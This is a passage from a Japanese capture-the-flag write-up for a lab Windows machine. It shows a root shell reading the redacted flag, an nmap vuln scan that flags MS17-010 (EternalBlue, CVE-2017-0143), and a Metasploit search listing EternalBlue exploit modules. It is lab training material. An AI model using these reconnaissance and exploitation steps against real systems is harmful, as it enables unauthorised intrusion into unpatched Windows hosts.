C:\Users\Administrator>cd Desktop
cd Desktop

C:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is BE92-053B

 Directory of C:\Users\Administrator\Desktop

24/12/2017  02:22    <DIR>          .
24/12/2017  02:22    <DIR>          ..
02/01/2024  07:16                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)   2,695,577,600 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX //32文字のRootFlag

無事Rootもとれた。

正攻法...?

ハッキングにおいてReconが重要になってくるが今回は有名な脆弱性であった為、予想でハックできた。script=vulnで探索をかけるとしっかりと脆弱性のエビデンスが取れる為、こちらの方がいいだろう。

┌──(root㉿kali)-[/home/kali/Desktop/work]
└─# nmap 10.10.10.40 -Pn -v --script=vuln
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-02 16:30 JST
NSE: Loaded 105 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 16:30
NSE Timing: About 44.44% done; ETC: 16:31 (0:00:40 remaining)
Completed NSE at 16:31, 34.28s elapsed
Initiating NSE at 16:31
Completed NSE at 16:31, 0.00s elapsed
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Initiating Parallel DNS resolution of 1 host. at 16:31
Completed Parallel DNS resolution of 1 host. at 16:31, 0.04s elapsed
Initiating SYN Stealth Scan at 16:31
Scanning 10.10.10.40 [1000 ports]
Discovered open port 139/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Increasing send delay for 10.10.10.40 from 0 to 5 due to 197 out of 656 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 5 to 10 due to 11 out of 28 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 10 to 20 due to 11 out of 30 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 20 to 40 due to 11 out of 24 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 40 to 80 due to 11 out of 18 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 80 to 160 due to 11 out of 16 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 160 to 320 due to 11 out of 13 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 320 to 640 due to 11 out of 12 dropped probes since last increase.
Increasing send delay for 10.10.10.40 from 640 to 1000 due to 11 out of 11 dropped probes since last increase.
Stats: 0:04:52 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 16:35 (0:00:00 remaining)
Completed SYN Stealth Scan at 16:35, 258.88s elapsed (1000 total ports)
NSE: Script scanning 10.10.10.40.
Initiating NSE at 16:35
Completed NSE at 16:37, 111.50s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Nmap scan report for 10.10.10.40
Host is up (0.33s latency).
Not shown: 991 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false

NSE: Script Post-scanning.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 404.92 seconds
           Raw packets sent: 1586 (69.784KB) | Rcvd: 1045 (41.836KB)

この部分ですね。

Host script results:
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_smb-vuln-ms10-054: false

CVEからmetasploitで検索をかけても、EternalBlueに関連したモジュールが出てくる。

msf6 > search CVE-2017-0143

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

あとがき

今回も比較的簡単なマシンだったのではないでしょうか。
EternalBlueに関しては、さわりの部分しか扱っていないのでもっと詳しく知りたい方は、ご自身で調べてみることをオススメします。
( EternalBlueって必殺技っぽくてかっこいいね。)